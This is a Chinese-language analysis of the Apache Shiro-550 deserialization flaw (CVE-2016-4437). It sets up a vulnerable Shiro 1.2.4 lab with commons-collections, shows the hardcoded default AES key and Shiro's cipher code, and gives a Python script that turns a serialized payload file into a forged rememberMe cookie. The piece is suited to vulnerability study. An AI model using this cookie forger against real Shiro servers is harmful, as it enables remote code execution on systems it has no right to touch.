Shiro-550漏洞分析(CVE-2016-4437)

1
2
3
4

$ git clone https://github.com/apache/shiro.git
$ cd ./shiro
# 恢复到shiro-1.2.4版本
$ git checkout shiro-root-1.2.4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

     <!--  需要设置编译的版本 -->
     <properties>
        <maven.compiler.source>1.6</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>
...
    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <!--  这里需要将jstl设置为1.2，添加如下一行 -->
            <version>1.2</version> 
            <scope>runtime</scope>
        </dependency>
.....
        <!--  这里添加CC3.2.1库是为了方便演示有依赖的反序列化RCE -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
            <scope>runtime</scope>
        </dependency>
<dependencies>

1

Cookie: JSESSIONID=2DB46C11B68E9356AD7CD85D13939320; rememberMe=0d9UNwC8IBfeiQ0UW0AhezGrGbyithE7MSIt0eZkmaDbWE8h41Y6XvTgXctE7LGOjhFHA9wRF5/VpMtFv+7yn43aFu/GYEWc571cdu2brSPmZnX4YXEqe0iMWnBul6UM4xvvYdp0f3zKhoutCsLhqU4pOrggF4mngscltFgEbdBSYURiz1namedUwm/LUDxvWzA7Afnfj6RjcOAFQpiq+ddlJY+I/C+ibKzAlR7x4uwgMJIQl5x/C62hu1+HZeQM/D1DY8boVQUPvYppET12o1iZG+uzy+Fa9o/A0fEFViPz3DAWJCfpypsD+PAdrHkJ3+sZXUJ1zYyAvPr5ZjBADKoIKrFL61ijngfmupke7yDSNv/KIjGYNzjhUNIw1d35RBjqnx2hYvn7vV3ewNARK2uWKNP/ankncQcbgrhFbyln+FIMWLat/Vx5SQm2IKlopi8B4mBgt2WkLdWJtJlb6ySK7X2qprJN8ZT+awoUOFjlU+EeO+1fGFDxrD4qJpr9

1
2
3
4
5

public abstract class AbstractRememberMeManager
    implements RememberMeManager
{
    private static final Logger log = LoggerFactory.getLogger(AbstractRememberMeManager.class);
    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

1

shiro-core-1.2.4-sources.jar!/org/apache/shiro/crypto/JcaCipherService.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme():
    popen = subprocess.Popen(['cat', 'shiro550.ser'], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

def decode_rememberme_file(filename):
    with open(filename, 'rb') as fpr:
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        byte = fpr.read()
        IV   = byte[0:16]
        encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
        remember_bin = encryptor.decrypt(byte[16:])
    return remember_bin

if __name__ == '__main__':
    # payload = encode_rememberme()
    # with open("cookie.txt", "w") as fpw:
    #     print("rememberMe={}".format(payload.decode()), file=fpw)
    with open("decode", 'wb+') as fpw:
        fpw.write(decode_rememberme_file("encode"))